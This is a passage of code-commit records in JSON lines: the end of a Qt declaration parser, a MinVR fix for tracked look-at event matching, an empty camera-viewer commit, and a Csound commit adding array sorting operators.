\/\/ At the moment, compound type names will be seen as two types and so 2 args. TODO : fix this\n        }\n\n        log << \"Parsed a function declaration (exproted in module) with C-style syntax. Name : \" << funcName << \". Return type : \" << returnType << \". Args types : \";\n        for (auto& t : argTypes)\n            log << t <<';';\n        log << endl;\n\n        return QSharedPointer<ExportedSymbol>(ExportedSymbol::func(funcName, returnType, argTypes));\n    }\n\n    else if (accept(Token::LEFT_PAREN)) {\n        QString& funcName = first;\n        QStringList argTypes;\n        while (!accept(Token::RIGHT_PAREN)) {\n            expect(Token::IDENTIFIER, \"Expected typename\"); \/\/TODO : allow compound type names (qualifiers etc)\n            argTypes << lastAccepted->value.toString();\n            accept(Token::COMMA); \/\/ At the moment, compound type names will be seen as two types and so 2 args. TODO : fix this\n        }\n        expect(Token::ARROW, \"Function declarations that do not start with return type must be followed by an arrow.\");\n        expect(Token::IDENTIFIER, \"Arrow must be followed by a type name\");\n        QString returnType = lastAccepted->value.toString();\n        log << \"Parsed a function declaration (exproted in module) with C-style syntax. Name : \" << funcName << \". Return type : \" << returnType << \". Args types : \";\n                for (auto& t : argTypes)\n                    log << t <<';';\n        log << endl;\n        return QSharedPointer<ExportedSymbol>(ExportedSymbol::func(funcName, returnType, argTypes));\n\n\n    }\n\n    \/\/Else it's a type declaration\n    log << \"Parsed a type to export : \" << first << endl;\n    return QSharedPointer<ExportedSymbol>(ExportedSymbol::type(first));\n}\n\nvoid Parser::parseDeclarationAndAddIt() {\n    if (accept(Token::STRUCT)) {\n        parseStruct();\n    }\n    else {\n        \/\/throw MyException(\"Unimplemented method called : Parser::parseDeclarationAndAddIt\");\n        lastAccepted = it++; \/\/TEMPORARY : pass\n        return;\n    }\n}\n\nvoid Parser::parseStruct() {\n    expect(Token::IDENTIFIER, \"Struct must have a single-word name\");\n    const QString name = lastAccepted->value.toString();\n    log << \"Parsing struct called \" << name << endl;\n    expect(Token::LEFT_BRACKET, \"Expected bracket after a struct declaration\");\n    while (!accept(Token::RIGHT_BRACKET)) {\n        parseVariableDeclaration();\n    }\n    expect(Token::SEMICOLON, \"Struct definition must end with a ;\");\n}\n\nvoid Parser::parseVariableDeclaration() {\n    expect(Token::IDENTIFIER, \"Variable declaration must start with a typename !\");\n    const QString type = lastAccepted->value.toString();\n    expect(Token::IDENTIFIER, \"Variable declaration must contain an identifer as varibale's name !\");\n    const QString name = lastAccepted->value.toString();\n    expect(Token::SEMICOLON, \"Missing semicolon\");\n    log << QString(\"Parsed a variable declaration. Type is %0, name is %1.\").arg(type).arg(name);\n}\n<|endoftext|>"}
{"text":"<commit_before>\n#include <display\/VRTrackedLookAtNode.h>\n\nnamespace MinVR {\n\n\n\tVRTrackedLookAtNode::VRTrackedLookAtNode(const std::string &name, const std::string &headTrackingEventName, VRMatrix4 initiallookAtMatrix) :\n\t\tVRDisplayNode(name), _lookAtMatrix(initiallookAtMatrix), _trackingEvent(headTrackingEventName)\n{\n  _valuesAdded.push_back(\"\/LookAtMatrix\");\n}\n\nVRTrackedLookAtNode::~VRTrackedLookAtNode()\n{\n}\n\n\nvoid \nVRTrackedLookAtNode::render(VRDataIndex *renderState, VRRenderHandler *renderHandler)\n{\n\trenderState->pushState();\n\n\trenderState->addData(\"\/LookAtMatrix\", _lookAtMatrix);\n\n\tVRDisplayNode::render(renderState, renderHandler);\n\n\trenderState->popState();\n}\n\nvoid\nVRTrackedLookAtNode::onVREvent(const VREvent &e)\n{\n\tif (e.getName() == \"\/\" + _trackingEvent) {\n\t\tVRMatrix4 head_frame(e.getDataAsFloatArray(\"Transform\"));\n\t\t_lookAtMatrix = head_frame.inverse();\n\t}\n}\n\nVRDisplayNode* VRTrackedLookAtNode::create(VRMainInterface *vrMain, VRDataIndex *config, const std::string &nameSpace) {\n\n\tstd::string trackingEvent = config->getValue(\"HeadTrackingEvent\", nameSpace);\n\tVRMatrix4 lookAtMatrix;\n\n\tif (config->exists(\"LookAtMatrix\", nameSpace)){\n\t\tlookAtMatrix = config->getValue(\"LookAtMatrix\", nameSpace);\n\t}\n\telse if (config->exists(\"LookAtUp\", nameSpace) && config->exists(\"LookAtEye\", nameSpace) && config->exists(\"LookAtCenter\", nameSpace))\n\t{\n\t\tVRVector3 up = config->getValue(\"LookAtUp\", nameSpace);\n\t\tVRVector3 eye = config->getValue(\"LookAtEye\", nameSpace);\n\t\tVRVector3 center = config->getValue(\"LookAtCenter\", nameSpace);\n\n\t\tVRVector3 z = center - eye;\n\t\tz.normalize();\n\t\tVRVector3 x = up.cross(z);\n\t\tx.normalize();\n\t\tVRVector3 y = z.cross(x);\n\n        VRMatrix4 M1 = VRMatrix4::fromRowMajorElements(x[0], y[0], z[0], 0,\n                                                       x[1], y[1], z[1], 0,\n                                                       x[2], y[2], z[2], 0,\n                                                       0, 0, 0, 1);\n\n        VRMatrix4 M2 = VRMatrix4::fromRowMajorElements(1, 0, 0, -eye[0],\n                                                       0, 1, 0, -eye[1],\n                                                       0, 0, 1, -eye[2],\n                                                       0, 0, 0, 1);\n\n\t\tlookAtMatrix = M1 * M2;\n\t}\n\telse\n\t{\n\t\tstd::cerr << \"Warning : no LookAtMatrix defined for \" << nameSpace << std::endl;\n\t\tstd::cerr << \"Either Define  LookAtMatrix or LookAtUp,LookAEye and LookAtCenter\" << std::endl;\n\t\tstd::cerr << \"Using IdentityMatrix as default 1,0,0,0, 0,1,0,0, 0,0,1,0, 0,0,0,1 \" << std::endl;\n\t}\n\n\tVRTrackedLookAtNode *node = new VRTrackedLookAtNode(nameSpace, trackingEvent, lookAtMatrix);\n\n\tvrMain->addEventHandler(node);\n\n\treturn node;\n}\n\n\n} \/\/ end namespace\n\n\n<commit_msg>Fixed a bug in the TrackedLookAtNode which was introduced due to the new VREvents<commit_after>\n#include <display\/VRTrackedLookAtNode.h>\n\nnamespace MinVR {\n\n\n\tVRTrackedLookAtNode::VRTrackedLookAtNode(const std::string &name, const std::string &headTrackingEventName, VRMatrix4 initiallookAtMatrix) :\n\t\tVRDisplayNode(name), _lookAtMatrix(initiallookAtMatrix), _trackingEvent(headTrackingEventName)\n{\n  _valuesAdded.push_back(\"\/LookAtMatrix\");\n}\n\nVRTrackedLookAtNode::~VRTrackedLookAtNode()\n{\n}\n\n\nvoid \nVRTrackedLookAtNode::render(VRDataIndex *renderState, VRRenderHandler *renderHandler)\n{\n\trenderState->pushState();\n\n\trenderState->addData(\"\/LookAtMatrix\", _lookAtMatrix);\n\n\tVRDisplayNode::render(renderState, renderHandler);\n\n\trenderState->popState();\n}\n\nvoid\nVRTrackedLookAtNode::onVREvent(const VREvent &e)\n{\n\tif (e.getName() == _trackingEvent) {\n\t\tVRMatrix4 head_frame(e.getDataAsFloatArray(\"Transform\"));\n\t\t_lookAtMatrix = head_frame.inverse();\n\t}\n}\n\nVRDisplayNode* VRTrackedLookAtNode::create(VRMainInterface *vrMain, VRDataIndex *config, const std::string &nameSpace) {\n\n\tstd::string trackingEvent = config->getValue(\"HeadTrackingEvent\", nameSpace);\n\tVRMatrix4 lookAtMatrix;\n\n\tif (config->exists(\"LookAtMatrix\", nameSpace)){\n\t\tlookAtMatrix = config->getValue(\"LookAtMatrix\", nameSpace);\n\t}\n\telse if (config->exists(\"LookAtUp\", nameSpace) && config->exists(\"LookAtEye\", nameSpace) && config->exists(\"LookAtCenter\", nameSpace))\n\t{\n\t\tVRVector3 up = config->getValue(\"LookAtUp\", nameSpace);\n\t\tVRVector3 eye = config->getValue(\"LookAtEye\", nameSpace);\n\t\tVRVector3 center = config->getValue(\"LookAtCenter\", nameSpace);\n\n\t\tVRVector3 z = center - eye;\n\t\tz.normalize();\n\t\tVRVector3 x = up.cross(z);\n\t\tx.normalize();\n\t\tVRVector3 y = z.cross(x);\n\n        VRMatrix4 M1 = VRMatrix4::fromRowMajorElements(x[0], y[0], z[0], 0,\n                                                       x[1], y[1], z[1], 0,\n                                                       x[2], y[2], z[2], 0,\n                                                       0, 0, 0, 1);\n\n        VRMatrix4 M2 = VRMatrix4::fromRowMajorElements(1, 0, 0, -eye[0],\n                                                       0, 1, 0, -eye[1],\n                                                       0, 0, 1, -eye[2],\n                                                       0, 0, 0, 1);\n\n\t\tlookAtMatrix = M1 * M2;\n\t}\n\telse\n\t{\n\t\tstd::cerr << \"Warning : no LookAtMatrix defined for \" << nameSpace << std::endl;\n\t\tstd::cerr << \"Either Define  LookAtMatrix or LookAtUp,LookAEye and LookAtCenter\" << std::endl;\n\t\tstd::cerr << \"Using IdentityMatrix as default 1,0,0,0, 0,1,0,0, 0,0,1,0, 0,0,0,1 \" << std::endl;\n\t}\n\n\tVRTrackedLookAtNode *node = new VRTrackedLookAtNode(nameSpace, trackingEvent, lookAtMatrix);\n\n\tvrMain->addEventHandler(node);\n\n\treturn node;\n}\n\n\n} \/\/ end namespace\n\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>added simple camera viewer<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n  arrayops.c: array operators\n\n  Copyright (C) 2017 Victor Lazzarini\n  This file is part of Csound.\n\n  The Csound Library is free software; you can redistribute it\n  and\/or modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  Csound is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n  GNU Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with Csound; if not, write to the Free Software\n  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n  02111-1307 USA\n*\/\n#include <algorithm>\n#include <cmath>\n#include <plugin.h>\n\nextern inline MYFLT frac(MYFLT f) { return std::modf(f, &f); }\n\n\/** i-time, k-rate operator\n    kout[] op kin[]\n *\/\ntemplate <MYFLT (*op)(MYFLT)> struct ArrayOp : csnd::Plugin<1, 1> {\n  int process(csnd::myfltvec &out, csnd::myfltvec &in) {\n    std::transform(in.begin(), in.end(), out.begin(),\n                   [](MYFLT f) { return op(f); });\n    return OK;\n  }\n\n  int init() {\n    csnd::myfltvec &out = outargs.myfltvec_data(0);\n    csnd::myfltvec &in = inargs.myfltvec_data(0);\n    out.init(csound, in.len());\n    return process(out, in);\n  }\n\n  int kperf() {\n    return process(outargs.myfltvec_data(0), inargs.myfltvec_data(0));\n    ;\n  }\n};\n\n\/** i-time, k-rate binary operator\n    kout[] op kin1[], kin2[]\n *\/\ntemplate <MYFLT (*bop)(MYFLT, MYFLT)> struct ArrayOp2 : csnd::Plugin<1, 2> {\n\n  int process(csnd::myfltvec &out, csnd::myfltvec &in1, csnd::myfltvec &in2) {\n    std::transform(in1.begin(), in1.end(), in2.begin(), out.begin(),\n                   [](MYFLT f1, MYFLT f2) { return bop(f1, f2); });\n    return OK;\n  }\n\n  int init() {\n    csnd::myfltvec &out = outargs.myfltvec_data(0);\n    csnd::myfltvec &in1 = inargs.myfltvec_data(0);\n    csnd::myfltvec &in2 = inargs.myfltvec_data(1);\n    if (in2.len() < in1.len())\n      return csound->init_error(Str(\"second input array is too short\\n\"));\n    out.init(csound, in1.len());\n    return process(out, in1, in2);\n  }\n\n  int kperf() {\n    return process(outargs.myfltvec_data(0), inargs.myfltvec_data(0),\n                   inargs.myfltvec_data(1));\n  }\n};\n\n#include <modload.h>\nvoid csnd::on_load(Csound *csound) {\n  csnd::plugin<ArrayOp<std::ceil>>(csound, \"ceil\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::ceil>>(csound, \"ceil\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::floor>>(csound, \"floor\", \"i[]\", \"i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp<std::floor>>(csound, \"floor\", \"k[]\", \"k[]\",\n                                    csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::round>>(csound, \"round\", \"i[]\", \"i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp<std::round>>(csound, \"round\", \"k[]\", \"k[]\",\n                                    csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::trunc>>(csound, \"int\", \"i[]\", \"i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp<std::trunc>>(csound, \"int\", \"k[]\", \"k[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp<frac>>(csound, \"frac\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<frac>>(csound, \"frac\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::exp2>>(csound, \"powoftwo\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::exp2>>(csound, \"powoftwo\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::fabs>>(csound, \"abs\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::fabs>>(csound, \"abs\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::log10>>(csound, \"log2\", \"i[]\", \"i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log10>>(csound, \"log2\", \"k[]\", \"k[]\",\n                                    csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::log10>>(csound, \"log10\", \"i[]\", \"i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log10>>(csound, \"log10\", \"k[]\", \"k[]\",\n                                    csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::log>>(csound, \"log\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log>>(csound, \"log\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::exp>>(csound, \"exp\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::exp>>(csound, \"exp\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::sqrt>>(csound, \"sqrt\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::sqrt>>(csound, \"sqrt\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::cos>>(csound, \"cos\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::cos>>(csound, \"cos\", \"k[]\", \"k[]\",\n                                  csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::sin>>(csound, \"sin\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::sin>>(csound, \"sin\", \"k[]\", \"k[]\",\n                                  csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::tan>>(csound, \"tan\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::tan>>(csound, \"tan\", \"k[]\", \"k[]\",\n                                  csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::acos>>(csound, \"cosinv\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::acos>>(csound, \"cosinv\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::asin>>(csound, \"sininv\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::asin>>(csound, \"sininv\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::atan>>(csound, \"taninv\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::atan>>(csound, \"taninv\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::cosh>>(csound, \"cosh\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::cosh>>(csound, \"cosh\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::sinh>>(csound, \"sinh\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::sinh>>(csound, \"sinh\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::tanh>>(csound, \"tanh\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::tanh>>(csound, \"tanh\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::cbrt>>(csound, \"cbrt\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::cbrt>>(csound, \"cbrt\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::atan2>>(csound, \"taninv\", \"i[]\", \"i[]i[]\",\n                                     csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::atan2>>(csound, \"taninv\", \"k[]\", \"k[]k[]\",\n                                     csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::pow>>(csound, \"pow\", \"i[]\", \"i[]i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::pow>>(csound, \"pow\", \"k[]\", \"k[]k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::hypot>>(csound, \"hypot\", \"i[]\", \"i[]i[]\",\n                                     csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::hypot>>(csound, \"hypot\", \"k[]\", \"k[]k[]\",\n                                     csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::fmod>>(csound, \"fmod\", \"i[]\", \"i[]i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::fmod>>(csound, \"fmod\", \"k[]\", \"k[]k[]\",\n                                    csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::fmax>>(csound, \"fmax\", \"i[]\", \"i[]i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::fmax>>(csound, \"fmax\", \"k[]\", \"k[]k[]\",\n                                    csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::fmin>>(csound, \"fmin\", \"i[]\", \"i[]i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::fmin>>(csound, \"fmin\", \"k[]\", \"k[]k[]\",\n                                    csnd::thread::ik);\n}\n<commit_msg>array sorting<commit_after>\/*\n  arrayops.c: array operators\n\n  Copyright (C) 2017 Victor Lazzarini\n  This file is part of Csound.\n\n  The Csound Library is free software; you can redistribute it\n  and\/or modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  Csound is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n  GNU Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with Csound; if not, write to the Free Software\n  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n  02111-1307 USA\n*\/\n#include <algorithm>\n#include <cmath>\n#include <functional>\n#include <plugin.h>\n\nextern inline MYFLT frac(MYFLT f) { return std::modf(f, &f); }\n\n\/** i-time, k-rate operator\n    kout[] op kin[]\n *\/\ntemplate <MYFLT (*op)(MYFLT)> struct ArrayOp : csnd::Plugin<1, 1> {\n  int process(csnd::myfltvec &out, csnd::myfltvec &in) {\n    std::transform(in.begin(), in.end(), out.begin(),\n                   [](MYFLT f) { return op(f); });\n    return OK;\n  }\n\n  int init() {\n    csnd::myfltvec &out = outargs.myfltvec_data(0);\n    csnd::myfltvec &in = inargs.myfltvec_data(0);\n    out.init(csound, in.len());\n    return process(out, in);\n  }\n\n  int kperf() {\n    return process(outargs.myfltvec_data(0), inargs.myfltvec_data(0));\n  }\n};\n\n\/** i-time, k-rate binary operator\n    kout[] op kin1[], kin2[]\n *\/\ntemplate <MYFLT (*bop)(MYFLT, MYFLT)> struct ArrayOp2 : csnd::Plugin<1, 2> {\n\n  int process(csnd::myfltvec &out, csnd::myfltvec &in1, csnd::myfltvec &in2) {\n    std::transform(in1.begin(), in1.end(), in2.begin(), out.begin(),\n                   [](MYFLT f1, MYFLT f2) { return bop(f1, f2); });\n    return OK;\n  }\n\n  int init() {\n    csnd::myfltvec &out = outargs.myfltvec_data(0);\n    csnd::myfltvec &in1 = inargs.myfltvec_data(0);\n    csnd::myfltvec &in2 = inargs.myfltvec_data(1);\n    if (in2.len() < in1.len())\n      return csound->init_error(Str(\"second input array is too short\\n\"));\n    out.init(csound, in1.len());\n    return process(out, in1, in2);\n  }\n\n  int kperf() {\n    return process(outargs.myfltvec_data(0), inargs.myfltvec_data(0),\n                   inargs.myfltvec_data(1));\n  }\n};\n\n\/** i-time, k-rate operator\n    kout[] sort[a,d] kin[]\n *\/\ntemplate <typename T>struct ArraySort : csnd::Plugin<1, 1> {\n  int process(csnd::myfltvec &out, csnd::myfltvec &in) {\n    std::copy(in.begin(), in.end(), out.begin());\n    std::sort(out.begin(), out.end(), T());\n    return OK;\n  }\n\n  int init() {\n    csnd::myfltvec &out = outargs.myfltvec_data(0);\n    csnd::myfltvec &in = inargs.myfltvec_data(0);\n    out.init(csound, in.len());\n    return process(out, in);\n  }\n\n  int kperf() {\n    return process(outargs.myfltvec_data(0), inargs.myfltvec_data(0));\n  }\n};\n\n\n#include <modload.h>\nvoid csnd::on_load(Csound *csound) {\n  csnd::plugin<ArrayOp<std::ceil>>(csound, \"ceil\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::ceil>>(csound, \"ceil\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::floor>>(csound, \"floor\", \"i[]\", \"i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp<std::floor>>(csound, \"floor\", \"k[]\", \"k[]\",\n                                    csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::round>>(csound, \"round\", \"i[]\", \"i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp<std::round>>(csound, \"round\", \"k[]\", \"k[]\",\n                                    csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::trunc>>(csound, \"int\", \"i[]\", \"i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp<std::trunc>>(csound, \"int\", \"k[]\", \"k[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp<frac>>(csound, \"frac\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<frac>>(csound, \"frac\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::exp2>>(csound, \"powoftwo\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::exp2>>(csound, \"powoftwo\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::fabs>>(csound, \"abs\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::fabs>>(csound, \"abs\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::log10>>(csound, \"log2\", \"i[]\", \"i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log10>>(csound, \"log2\", \"k[]\", \"k[]\",\n                                    csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::log10>>(csound, \"log10\", \"i[]\", \"i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log10>>(csound, \"log10\", \"k[]\", \"k[]\",\n                                    csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::log>>(csound, \"log\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log>>(csound, \"log\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::exp>>(csound, \"exp\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::exp>>(csound, \"exp\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::sqrt>>(csound, \"sqrt\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::sqrt>>(csound, \"sqrt\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::cos>>(csound, \"cos\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::cos>>(csound, \"cos\", \"k[]\", \"k[]\",\n                                  csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::sin>>(csound, \"sin\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::sin>>(csound, \"sin\", \"k[]\", \"k[]\",\n                                  csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::tan>>(csound, \"tan\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::tan>>(csound, \"tan\", \"k[]\", \"k[]\",\n                                  csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::acos>>(csound, \"cosinv\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::acos>>(csound, \"cosinv\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::asin>>(csound, \"sininv\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::asin>>(csound, \"sininv\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::atan>>(csound, \"taninv\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::atan>>(csound, \"taninv\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::cosh>>(csound, \"cosh\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::cosh>>(csound, \"cosh\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::sinh>>(csound, \"sinh\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::sinh>>(csound, \"sinh\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::tanh>>(csound, \"tanh\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::tanh>>(csound, \"tanh\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::cbrt>>(csound, \"cbrt\", \"i[]\", \"i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp<std::cbrt>>(csound, \"cbrt\", \"k[]\", \"k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::atan2>>(csound, \"taninv\", \"i[]\", \"i[]i[]\",\n                                     csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::atan2>>(csound, \"taninv\", \"k[]\", \"k[]k[]\",\n                                     csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::pow>>(csound, \"pow\", \"i[]\", \"i[]i[]\",\n                                   csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::pow>>(csound, \"pow\", \"k[]\", \"k[]k[]\",\n                                   csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::hypot>>(csound, \"hypot\", \"i[]\", \"i[]i[]\",\n                                     csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::hypot>>(csound, \"hypot\", \"k[]\", \"k[]k[]\",\n                                     csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::fmod>>(csound, \"fmod\", \"i[]\", \"i[]i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::fmod>>(csound, \"fmod\", \"k[]\", \"k[]k[]\",\n                                    csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::fmax>>(csound, \"fmax\", \"i[]\", \"i[]i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::fmax>>(csound, \"fmax\", \"k[]\", \"k[]k[]\",\n                                    csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::fmin>>(csound, \"fmin\", \"i[]\", \"i[]i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::fmin>>(csound, \"fmin\", \"k[]\", \"k[]k[]\",\n                                    csnd::thread::ik);\n  csnd::plugin<ArraySort<std::less<MYFLT>>>(csound, \"sorta\", \"i[]\", \"i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArraySort<std::greater<MYFLT>>>(csound, \"sortd\", \"i[]\", \"i[]\",\n                                    csnd::thread::i);\n  csnd::plugin<ArraySort<std::less<MYFLT>>>(csound, \"sorta\", \"k[]\", \"k[]\",\n                                    csnd::thread::ik);\n  csnd::plugin<ArraySort<std::greater<MYFLT>>>(csound, \"sortd\", \"k[]\", \"k[]\",\n                                    csnd::thread::ik);\n  \n}\n<|endoftext|>"}
